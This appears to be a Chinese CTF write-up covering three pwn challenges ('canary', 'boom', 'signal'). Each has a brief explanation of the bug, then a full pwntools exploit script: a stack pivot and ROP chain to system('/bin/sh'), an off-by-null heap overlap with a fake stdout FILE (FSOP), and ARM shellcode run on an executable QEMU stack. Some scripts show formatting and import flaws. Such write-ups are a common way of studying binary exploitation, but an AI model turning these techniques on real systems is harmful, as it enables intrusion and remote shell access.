canary
写了个libc地址在bss上面,同时有00截断,puts打印不出来
这里相当于直接把canary置空了,只要是0就行,所以溢出的时候注意一点
栈溢出,直接迁移到上面的puts,能刚好带出来一个libc地址,然后迁移写rop就行,应该是非预期了
from pwn import *
io = process("./pwn")
context(log_level="debug", arch="amd64", os="linux")
# io=remote("pwn-873de12fc3.challenge.xctf.org.cn", 9999, ssl=True)
libc = ELF("./libc.so.6")
elf = ELF("./pwn")
io.recvuntil(b"Choose (good/vuln/exit): ")
libc_addr = 0x404000 + 0x800
io.send(b"good")
io.recv()
io.send(p64(0x401440))
io.recv()
# gdb.attach(io,'b *0x401451\nc')
io.send(b"vuln")
io.recv()
payload = b"exec"
payload = payload.ljust(0x30, b"\x00")
payload += p64(libc_addr)
payload += p64(0x40143B) # read
# gdb.attach(io)
io.send(payload)
io.recvuntil(b"Processed: exec\n")
libc.address = u64(io.recv(6).ljust(8, b"\x00")) - 0x62050
info("libc base: " + hex(libc.address))
payload = b"exec"
payload = payload.ljust(0x8, b"\x00")
payload += p64(next(libc.search(asm("pop rdi; ret;"), executable=True)))
payload += p64(next(libc.search(b"/bin/sh")))
payload += p64(next(libc.search(asm("ret;"), executable=True)))
payload += p64(libc.sym["system"])
payload = payload.ljust(0x30, b"\x00")
payload += p64(0x4047D0)
payload += p64(next(libc.search(asm("leave; ret;"), executable=True)))
io.send(payload)
io.interactive()
boom
off by null,只能edit一次,构造叠堆之后多次申请,构造两个0x100的堆块,edit申请到stdout,写打apple2,用puts触发io流就行
from pwn import *
context(log_level="debug", arch="amd64", os="linux")
io = process("./pwn")
io = remote("pwn-03b5ca515d.challenge.xctf.org.cn", 9999, ssl=True)
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
def dbg():
gdb.attach(io)
io.recv()
io.sendline(str(0))
io.recv()
io.sendline(str(1))
io.recv()
io.sendline(str(1))
def add(idx, size, date=b"a"):
io.recvuntil(b"Your choice >>")
io.sendline(str(1))
io.recvuntil(b"Index >> \n")
io.sendline(str(idx))
io.recvuntil(b"Size >> \n")
io.sendline(str(size))
io.send(date)
def free(idx):
io.recvuntil(b"Your choice >>")
io.sendline(str(2))
io.recv()
io.sendline(str(idx))
def show(idx):
io.recvuntil(b"Your choice >>")
io.sendline(str(3))
io.recv()
io.sendline(str(idx))
def edit(idx, date):
io.recvuntil(b"Your choice >>")
io.sendline(str(666))
io.recv()
io.sendline(str(idx))
io.send(date)
def dbg():
gdb.attach(io)
add(0, 0x410)
add(1, 0x100)
add(2, 0x430)
add(3, 0x430)
add(4, 0x100)
add(5, 0x480)
add(6, 0x420)
add(7, 0x100)
free(0)
free(3)
free(6)
free(2)
payload = b"\x00" * 0x430 + p64(0) + p32(0x551)
add(0, 0x450, payload)
add(2, 0x410)
add(3, 0x410)
add(6, 0x420)
free(3)
free(2)
add(2, 0x410, p64(0))
free(6)
free(5)
add(3, 0x4F8, b"a" * 0x480 + p64(0) + p64(0x431))
add(5, 0x3B8)
add(6, 0x418)
free(4)
add(4, 0x108, b"\x00" * 0x100 + p64(0x550))
free(3)
add(8, 0x18)
show(6)
io.recvuntil(b"Show at index 6:\n")
libc.address = u64(io.recv(6).ljust(8, b"\x00")) - 0x21ACE0
info("libc base: " + hex(libc.address))
add(9, 0x18)
free(6)
show(9)
io.recvuntil(b"Show at index 9:")
heap_base = u64(io.recv(6).ljust(8, b"\x00")) - 0xA
heap_base = heap_base * 0x10
info("heap base: " + hex(heap_base))
add(3, 0x400 - 0x10)
add(6, 0x100)
free(1)
free(4)
heap = (heap_base + 0x1050) >> 12
stdout = libc.address + 0x21B780
fd = stdout ^ heap
edit(6, p64(fd))
fake_file = flat(
{
0x0: b" sh;",
0x8: libc.symbols["_IO_2_1_stdout_"] - 0x10,
0x28: libc.symbols["system"],
0x88: libc.symbols["_environ"] - 0x10,
0xA0: libc.symbols["_IO_2_1_stdout_"] - 0x40,
0xD8: libc.symbols["_IO_wfile_jumps"] - 0x20,
},
filler=b"\x00",
)
add(1, 0x100)
add(4, 0x100, fake_file)
# gdb.attach(io, "b _obstack_newchunk\nc")
io.interactive()
signal
arm,保护全开,但是qemu有个特点,不开nx的话bss和栈都可执行,但是开了nx之后,栈依然可执行,所以我们可以利用第一个函数泄露canary和栈地址,在第二个函数栈上写shellcode,然后直接ret2syscall就行,但是泄露的时候有个随机数,我这里就没管他了,多运行几次就能getshell
from pwn import *
context(arch="arm", os="linux", log_level="debug")
elf = ELF("./pwn")
libc = ELF("./lib/libc.so.6")
context.endian = "little"
# nc -lv 127.0.0.1 8000
srv = listen(8000, bindaddr="127.0.0.1")
io = process(["qemu-arm", "-L", "./", "./pwn"])
#io = process(["qemu-arm", "-L", "./", "-g", "1234", "./pwn"])
conn = srv.wait_for_connection()
def controller(flag1=3, flag5=5):
current = f"{flag1} {flag5}\n".encode()
while True:
try:
conn.recvuntil(b"signal\n", timeout=3)
conn.send(current)
except EOFError:
break
except TimeoutError:
pass
threading.Thread(target=controller, args=(3, 5), daemon=True).start()
io.recvuntil(b"target: ")
io.sendline(str(1))
sleep(1)
io.recvuntil(
b"You are about to run a red light, the surveillance system will take photos to record it!"
)
io.send(b"a" * 0x2F)
io.recvuntil(b"a" * 0x2F)
stack = u32(io.recv(4)) - 0x64
print("stack:" + hex(stack))
io.recvuntil(b"target: ")
io.sendline(str(1))
sleep(1)
io.recvuntil(
b"You are about to run a red light, the surveillance system will take photos to record it!"
)
io.send(b"a" * 0x34)
io.recvuntil(b"a" * 0x33)
canary = u32(io.recv(4)) - 0x61
print("canary:" + hex(canary))
io.recvuntil(b"target: ")
io.sendline(str(2))
sleep(1)
threading.Thread(target=controller, args=(1, 4), daemon=True).start()
io.recvuntil(b"How long do you need to walk: ")
io.sendline(str(0xFFFF))
io.recvuntil(b"registration information:")
shellcode = asm(
"""
eor r1, r1
eor r2, r2
mov r7, #11
mov r0, pc
svc 0
.ascii "/bin/sh\\0"
"""
)
payload = shellcode
payload = payload.ljust(0x30, b"c")
payload += p32(canary) * 4
payload += p32(stack) * 2
io.send(payload)
io.interactive()